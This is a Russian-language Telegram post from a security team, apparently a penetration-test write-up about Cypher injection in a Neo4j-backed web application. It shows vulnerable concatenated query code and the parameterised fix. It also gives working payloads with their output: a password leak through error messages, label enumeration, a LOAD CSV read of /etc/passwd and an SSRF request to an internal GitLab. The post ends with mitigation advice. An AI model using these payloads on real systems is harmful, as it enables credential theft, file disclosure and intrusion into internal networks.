TGStat
TGStat
Введите текст для поиска
Расширенный поиск каналов
  • flag Russian
    Язык сайта
    flag Russian flag English flag Uzbek
  • Вход на сайт
  • Каталог
    Каталог каналов и чатов Региональные подборки Тематические подборки Платные каналы Поиск каналов
    Добавить канал/чат
  • Рейтинги
    Рейтинг каналов Рейтинг чатов Рейтинг публикаций
    Рейтинги брендов и персон
  • Аналитика
  • Поиск по публикациям
  • Мониторинг Telegram
  • Продвижение
    Реклама через Яндекс Бизнес Реклама в каналах через TGStat Agency Реклама на сайте TGStat.ru
purple shift

1 Sep, 08:06

Открыть в Telegram Поделиться Пожаловаться

Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.

На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.

Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.

Суть проблемы:

Уязвимый код может выглядеть так:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'

Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
result = session.run(query, user_input=user_input)

В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.

На практике:

На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001

Значение login после декодирования:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) //

Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.

Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}

После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //

Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
GitLab

Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.

Результат:

Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.

Для защиты от такой атаки рекомендуем:

— использовать параметризованные запросы,
— не возвращать клиенту информацию о содержании ошибки,
— выдать приложению минимальные права,
— ограничить LOAD CSV и исходящий трафик.

1.7k 0 18 23
Каталог
Каталог каналов и чатов Подборки каналов Поиск каналов Добавить канал/чат
Рейтинги
Рейтинг каналов Telegram Рейтинг чатов Telegram Рейтинг публикаций Рейтинги брендов и персон
API
API статистики API поиска публикаций API Callback
Наши каналы
@TGStat @TGStat_Chat @telepulse @TGStatAPI
Почитать
Академия TGStat Исследование Telegram 2019 Исследование Telegram 2021 Исследование Telegram 2023
Контакты
Справочный центр Поддержка Почта Вакансии
Всякая всячина
Пользовательское соглашение Политика конфиденциальности Публичная оферта
Наши боты
@TGStat_Bot @SearcheeBot @TGAlertsBot @tg_analytics_bot @TGStatChatBot